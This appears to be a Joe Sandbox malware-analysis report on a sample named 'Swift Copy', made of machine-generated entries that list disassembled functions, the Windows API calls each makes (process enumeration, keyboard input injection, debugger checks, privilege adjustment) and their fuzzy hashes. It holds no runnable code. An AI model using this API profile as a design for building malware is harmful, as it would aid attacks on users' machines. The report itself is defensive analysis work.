Opcode Fuzzy Hash: 9dc1cac27746414d86cd6c12a6a88969187470cd6efbf0528fdc4feb5b93f487
Instruction Fuzzy Hash: 1E51A175A00200AFD710AF24C886F2A77A5EB48718F18C55CFA196F283D671AD418BB1

Function 00E01C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00E01CC0
IsWindowEnabled.USER32 ref: 00E01CCE
GetForegroundWindow.USER32(?,?,00000001,?), ref: 00E01CDB
IsIconic.USER32 ref: 00E01CE9
IsZoomed.USER32 ref: 00E01CF7

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: f83a1d2532a4b1b85f45042f06861450ddeb751da1b0c7c8142f2c6db8fe5ffa
Instruction ID: 1a0a8a3d373e0495a039283ca0ba2cc1dea0bd7e3eccc51e6cc83c1443e1478f
Opcode Fuzzy Hash: f83a1d2532a4b1b85f45042f06861450ddeb751da1b0c7c8142f2c6db8fe5ffa
Instruction Fuzzy Hash: 3D21A6317402115FE7248F2AD884B5ABBE5FF85315F19909CE846AF391DB72DC82CB90

Function 00D78060 Relevance: 7.4, Strings: 5, Instructions: 1151COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00D7843C
VUUU, xrefs: 00DB5DF0
VUUU, xrefs: 00D783FA
ERCP, xrefs: 00D7813C
VUUU, xrefs: 00D783E8

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU
API String ID: 0-1546025612
Opcode ID: dc944d964f0cafc0d33563402160dd47044ff44b0ed56ff3e698ec07755a125c
Instruction ID: faed2f13bba237c633869d042bd5bc6ae536b276c010fd3fe6cfe9a538dc381d
Opcode Fuzzy Hash: dc944d964f0cafc0d33563402160dd47044ff44b0ed56ff3e698ec07755a125c
Instruction Fuzzy Hash: 2DA28070E4061ACBDF24CF58C8447EDB7B1BF54314F2881AAE85AA7285EB74DD81DB60

Function 00DD8298 Relevance: 6.6, APIs: 1, Strings: 3, Instructions: 568stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 00DD82AA

Strings

tb, xrefs: 00DD84F4
|, xrefs: 00DD82DA
(, xrefs: 00DD82F0

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: lstrlen
String ID: ($tb$|
API String ID: 1659193697-1968160224
Opcode ID: e3f4b2a63dd9c19d5a20e44b97c46154bd12451040a8c505cd47ebfe9a29d20e
Instruction ID: 9012a48174f0a53876776ba37f0617141342b91069b55c76c3e4c8faa5a8ed19
Opcode Fuzzy Hash: e3f4b2a63dd9c19d5a20e44b97c46154bd12451040a8c505cd47ebfe9a29d20e
Instruction Fuzzy Hash: E9323574A007059FCB29CF59C481A6AB7F0FF48710B15C56EE49ADB3A1EB70E941DB60

Function 00DFA67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00DFA6AC
Process32FirstW.KERNEL32(00000000,?), ref: 00DFA6BA

Part of subcall function 00D79CB3: _wcslen.LIBCMT ref: 00D79CBD

Process32NextW.KERNEL32(00000000,?), ref: 00DFA79C
CloseHandle.KERNEL32(00000000), ref: 00DFA7AB

Part of subcall function 00D8CE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00DB3303,?), ref: 00D8CE8A

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: 22ef883611c946fdab582a7bbde792e6f26a454e85ef794a0c527f400bd74b93
Instruction ID: e7dcc0e1f17a49fb3de6e07faf0c5193c4efd68b84f7aea7b557d404209d5043
Opcode Fuzzy Hash: 22ef883611c946fdab582a7bbde792e6f26a454e85ef794a0c527f400bd74b93
Instruction Fuzzy Hash: 32512AB15083109FD710EF24C886A6BBBE8FF89754F04891DF589A7252EB70D904CBB2

Function 00DDAA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 00DDAAAC
SetKeyboardState.USER32(00000080), ref: 00DDAAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 00DDAB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 00DDAB88

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: e4e89ff15e71d2679c39df29990c991d65578707b615fd7c04a4be83384bec2a
Instruction ID: c29c33649785bb8fbfa49ef62733e318fced9dbe2be6949e9eea67e12b96927c
Opcode Fuzzy Hash: e4e89ff15e71d2679c39df29990c991d65578707b615fd7c04a4be83384bec2a
Instruction Fuzzy Hash: 7F311630A40218AEFB358B6D8C05BFA7BA6EB45310F18831BF191563E0D375C986C772

Function 00DABB6F Relevance: 6.1, APIs: 4, Instructions: 90timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00DABB7F

Part of subcall function 00DA29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00DAD7D1,00000000,00000000,00000000,00000000,?,00DAD7F8,00000000,00000007,00000000,?,00DADBF5,00000000), ref: 00DA29DE
Part of subcall function 00DA29C8: GetLastError.KERNEL32(00000000,?,00DAD7D1,00000000,00000000,00000000,00000000,?,00DAD7F8,00000000,00000007,00000000,?,00DADBF5,00000000,00000000), ref: 00DA29F0

GetTimeZoneInformation.KERNEL32 ref: 00DABB91
WideCharToMultiByte.KERNEL32(00000000,?,00E4121C,000000FF,?,0000003F,?,?), ref: 00DABC09
WideCharToMultiByte.KERNEL32(00000000,?,00E41270,000000FF,?,0000003F,?,?,?,00E4121C,000000FF,?,0000003F,?,?), ref: 00DABC36

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone_free
String ID:
API String ID: 806657224-0
Opcode ID: c6eed3e421a1e43b7d2eee23bb48516ef3f3ac12b9b5d900eb707420c46f2afe
Instruction ID: 0501a838078d3cecfb6fafd414ce37b92e50a19f94575852c689e48f38b47281
Opcode Fuzzy Hash: c6eed3e421a1e43b7d2eee23bb48516ef3f3ac12b9b5d900eb707420c46f2afe
Instruction Fuzzy Hash: BA31CE70944205DFCB10DF6ADC80929BBB8FF47320B1842AAE060E72B2D7709D86DB74

Function 00DECE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 00DECE89
GetLastError.KERNEL32(?,00000000), ref: 00DECEEA
SetEvent.KERNEL32(?,?,00000000), ref: 00DECEFE

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: 6f60e0cf47f2b86d9f62b412565ea61cb998ebe26b48c4c8dbc0f34dbcd25cd8
Instruction ID: e6b7ebb48781d40c7ef1f0c3df3ee7a403908580b6c0a269fb7e75b13e18bffb
Opcode Fuzzy Hash: 6f60e0cf47f2b86d9f62b412565ea61cb998ebe26b48c4c8dbc0f34dbcd25cd8
Instruction Fuzzy Hash: D121BD71510705AFDB20EFA6C949BAB77F8EF00718F24441EE546A2151E774EE4A8B70

Function 00DE5C97 Relevance: 4.6, APIs: 3, Instructions: 138fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00DE5CC1
FindNextFileW.KERNEL32(00000000,?), ref: 00DE5D17
FindClose.KERNEL32(?), ref: 00DE5D5F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: f73db7f37980b3eb7be873d5e9aabf9ef57424a11ef018b11a9e5729daa1ff10
Instruction ID: 3076af6c5323afa05fabe172ce2d0d6e07ea19206711f6f6bf3931063b7ddac1
Opcode Fuzzy Hash: f73db7f37980b3eb7be873d5e9aabf9ef57424a11ef018b11a9e5729daa1ff10
Instruction Fuzzy Hash: B251BD34600A419FC704DF29D894A9AB7E4FF49318F14855DE95A8B3A1DB30EC44CFA1

Function 00DA2622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00DA271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00DA2724
UnhandledExceptionFilter.KERNEL32(?), ref: 00DA2731

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 51947eabc2ede1d6c40aeb2d6976920f950e5625bddb84390975de99a8f00c89
Instruction ID: 880b05dfdc5468ad2a7046cca2a39b4ad19f2d6f92c46754a993431a3e3e68cc
Opcode Fuzzy Hash: 51947eabc2ede1d6c40aeb2d6976920f950e5625bddb84390975de99a8f00c89
Instruction Fuzzy Hash: A831C274911218ABCB21DF69DC88798BBB8EF08310F5042EAE80CA6260E7349F858F54

Function 00DE51CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00DE51DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00DE5238
SetErrorMode.KERNEL32(00000000), ref: 00DE52A1

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 3853974c9cfd459b5aac727865006e85c97453ad0aff09a66b6940fce7de2039
Instruction ID: a180e468e7af9dc4ea7c3234154f14c2e6eb4569e91a7942e56b2a23cc223542
Opcode Fuzzy Hash: 3853974c9cfd459b5aac727865006e85c97453ad0aff09a66b6940fce7de2039
Instruction Fuzzy Hash: C4318135A00518DFDB00DF55D884EADBBB4FF49318F188099E909AB366DB31E845CBA0

Function 00DD16C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00D8FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00D90668
Part of subcall function 00D8FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00D90685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00DD170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00DD173A
GetLastError.KERNEL32 ref: 00DD174A

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: 1200e50a52fd3ddc8a78f36fc7f90bed98489d8c598527c9d996eeb5ccbc5f30
Instruction ID: 64e115ba378114e880c06d9410321787166c0707ce7d69217bd0f52ce369cb61
Opcode Fuzzy Hash: 1200e50a52fd3ddc8a78f36fc7f90bed98489d8c598527c9d996eeb5ccbc5f30
Instruction Fuzzy Hash: 1611CEB2400304FFE718AF64DC86D6AB7BDEB04714B20852EE45663251EB70FC868B30

Function 00DDD5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00DDD608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 00DDD645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00DDD650

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 9a6130b58e3c5f687300da448597916c4f34d3204e349355509bbecf73e2cc64
Instruction ID: 1e6fb064364bfa844efff646e6645b82e1da4c8d6cf020f7dbed0bf7f70ed564
Opcode Fuzzy Hash: 9a6130b58e3c5f687300da448597916c4f34d3204e349355509bbecf73e2cc64
Instruction Fuzzy Hash: 4B113C75E05228BFDB108F959C45FAFBBBCEB45B50F108156F904E7290D6708A058BA1

Function 00DD1663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00DD168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00DD16A1
FreeSid.ADVAPI32(?), ref: 00DD16B1

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: c0d62faa736ad645630bdc4a52cc38bca55737e20f1c5aff681907a7e5939a44
Instruction ID: 9662541c72d4aba8c22261e01715302077d187f33f2a46862c51e918b9708253
Opcode Fuzzy Hash: c0d62faa736ad645630bdc4a52cc38bca55737e20f1c5aff681907a7e5939a44
Instruction Fuzzy Hash: F7F04471940309FFEB00CFE08C89AAEBBBCEB08300F104561E500E2180E331AA488A60

Function 00D94CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00DA28E9,?,00D94CBE,00DA28E9,00E388B8,0000000C,00D94E15,00DA28E9,00000002,00000000,?,00DA28E9), ref: 00D94D09
TerminateProcess.KERNEL32(00000000,?,00D94CBE,00DA28E9,00E388B8,0000000C,00D94E15,00DA28E9,00000002,00000000,?,00DA28E9), ref: 00D94D10
ExitProcess.KERNEL32 ref: 00D94D22

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0866c6ba25b1b3235b232c8546cf679d086de961e2a44bbfebfb1c93427eec55
Instruction ID: 7e4130eac1d583336ff64bff8036f12baebadc461bc39853e4de04c3d6ec9ccd
Opcode Fuzzy Hash: 0866c6ba25b1b3235b232c8546cf679d086de961e2a44bbfebfb1c93427eec55
Instruction Fuzzy Hash: 2EE0B635010148AFCF15AF55DD09E583B69FB46791B248154FC059A123CB3ADD86CAA0

Function 00DCD27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00DCD28C

Strings

X64, xrefs: 00DCD2A8

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
